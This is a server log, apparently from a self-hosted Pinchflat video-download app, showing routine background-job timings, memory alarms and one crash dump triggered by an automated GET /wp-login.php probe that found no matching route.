17:43:00.770 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:43:09.969 [info] {"source":"oban","duration":4220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:39.971 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.771 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:44:09.973 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:39.975 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.772 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:45:09.977 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:39.980 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.773 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:46:09.981 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:39.983 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.774 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:47:09.985 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:39.987 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.775 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:48:09.989 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:39.992 [info] {"source":"oban","duration":1825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.778 [info] {"source":"oban","duration":1860,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:49:09.994 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:39.996 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.781 [info] {"source":"oban","duration":1827,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:50:09.998 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:40.001 [info] {"source":"oban","duration":2187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.783 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:51:10.003 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:40.005 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.785 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:52:10.010 [info] {"source":"oban","duration":4171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:40.012 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.790 [info] {"source":"oban","duration":3320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:53:10.014 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:40.016 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.797 [info] {"source":"oban","duration":2998,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:54:10.019 [info] {"source":"oban","duration":2601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:40.021 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.800 [info] {"source":"oban","duration":1899,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:55:10.023 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:40.025 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.806 [info] {"source":"oban","duration":3927,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:56:10.027 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:40.030 [info] {"source":"oban","duration":2634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.807 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:57:10.033 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:40.037 [info] {"source":"oban","duration":2762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.811 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:58:10.039 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:40.041 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.815 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:59:10.043 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:30.447 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 17:59:40.045 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.816 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:00:10.049 [info] {"source":"oban","duration":2702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:40.051 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.818 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:01:10.053 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:40.055 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.821 [info] {"source":"oban","duration":1963,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:02:10.057 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:30.486 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 18:02:40.059 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.823 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:03:10.061 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:40.064 [info] {"source":"oban","duration":1765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.824 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:04:10.066 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:40.071 [info] {"source":"oban","duration":3271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.825 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:05:10.074 [info] {"source":"oban","duration":2384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:40.076 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.826 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:06:10.079 [info] {"source":"oban","duration":2231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:40.082 [info] {"source":"oban","duration":1913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.828 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:07:10.109 [info] {"source":"oban","duration":22422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:40.111 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.829 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:08:10.113 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:40.116 [info] {"source":"oban","duration":2430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.833 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:09:10.118 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:40.126 [info] {"source":"oban","duration":6607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.838 [info] {"source":"oban","duration":3546,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:10:10.128 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:40.134 [info] {"source":"oban","duration":4640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.839 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:11:10.137 [info] {"source":"oban","duration":1755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:40.140 [info] {"source":"oban","duration":2210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.841 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:12:02.637 [info] GET /wp-login.php 18:12:02.681 [debug] QUERY OK source="settings" db=33.4ms queue=0.1ms idle=1128.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:02.686 [debug] QUERY OK source="settings" db=1.2ms queue=0.4ms idle=1164.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:12:02.687 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:12:02.689 [error] #PID<0.10361.0> running PinchflatWeb.Endpoint (connection #PID<0.10360.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /wp-login.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10360.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 16727}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip,deflate", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0", "via" => "1.1 Caddy", "x-forwarded-for" => "167.172.110.205", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.10361.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip,deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "167.172.110.205"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-login.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-Uvfs3Jzgo4hQAAJoD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10360.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 16727}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip,deflate", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0", "via" => "1.1 Caddy", "x-forwarded-for" => "167.172.110.205", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10360.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 16727}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip,deflate", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0", "via" => "1.1 Caddy", "x-forwarded-for" => "167.172.110.205", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.10361.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip,deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "167.172.110.205"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-login.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-Uvfs3Jzgo4hQAAJoD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file (truncated) 18:12:10.142 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:40.146 [info] {"source":"oban","duration":2539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.845 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:13:10.150 [info] {"source":"oban","duration":3334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:40.155 [info] {"source":"oban","duration":3735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.847 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:14:10.159 [info] {"source":"oban","duration":3208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:40.161 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.850 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:15:10.165 [info] {"source":"oban","duration":2578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:40.167 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.862 [info] {"source":"oban","duration":9750,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:16:10.169 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:40.173 [info] {"source":"oban","duration":3429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.865 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:17:10.176 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:40.179 [info] {"source":"oban","duration":2341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.868 [info] {"source":"oban","duration":2570,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:18:10.181 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:40.183 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.869 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:19:10.186 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:40.187 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.870 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:20:10.192 [info] {"source":"oban","duration":3416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:40.194 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.876 [info] {"source":"oban","duration":4763,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:21:10.199 [info] {"source":"oban","duration":4367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:40.201 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.879 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:22:10.203 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:40.205 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.881 [info] {"source":"oban","duration":2430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:23:10.207 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:40.209 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.886 [info] {"source":"oban","duration":3512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:24:10.211 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:40.213 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.888 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:25:10.215 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:40.218 [info] {"source":"oban","duration":2150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.888 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:26:10.220 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:40.222 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.890 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:27:10.224 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:40.226 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.893 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:28:10.230 [info] {"source":"oban","duration":3030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:40.232 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.901 [info] {"source":"oban","duration":5722,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:29:10.235 [info] {"source":"oban","duration":2287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:40.238 [info] {"source":"oban","duration":1845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.904 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:30:10.240 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:40.242 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.905 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:31:10.244 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:40.246 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.906 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:32:10.250 [info] {"source":"oban","duration":2599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:40.252 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.907 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:33:10.254 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:30.634 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 18:33:40.257 [info] {"source":"oban","duration":2472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.911 [info] {"source":"oban","duration":2913,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:34:10.259 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:40.261 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.913 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:35:10.263 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:40.265 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.915 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:36:10.267 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:40.273 [info] {"source":"oban","duration":5068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.916 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:37:10.276 [info] {"source":"oban","duration":2552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:40.279 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.917 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:38:10.281 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:30.662 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 18:38:40.283 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.918 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:39:10.287 [info] {"source":"oban","duration":2952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:40.290 [info] {"source":"oban","duration":1814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.920 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:40:10.293 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:40.303 [info] {"source":"oban","duration":8608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.923 [info] {"source":"oban","duration":3390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:41:10.305 [info] 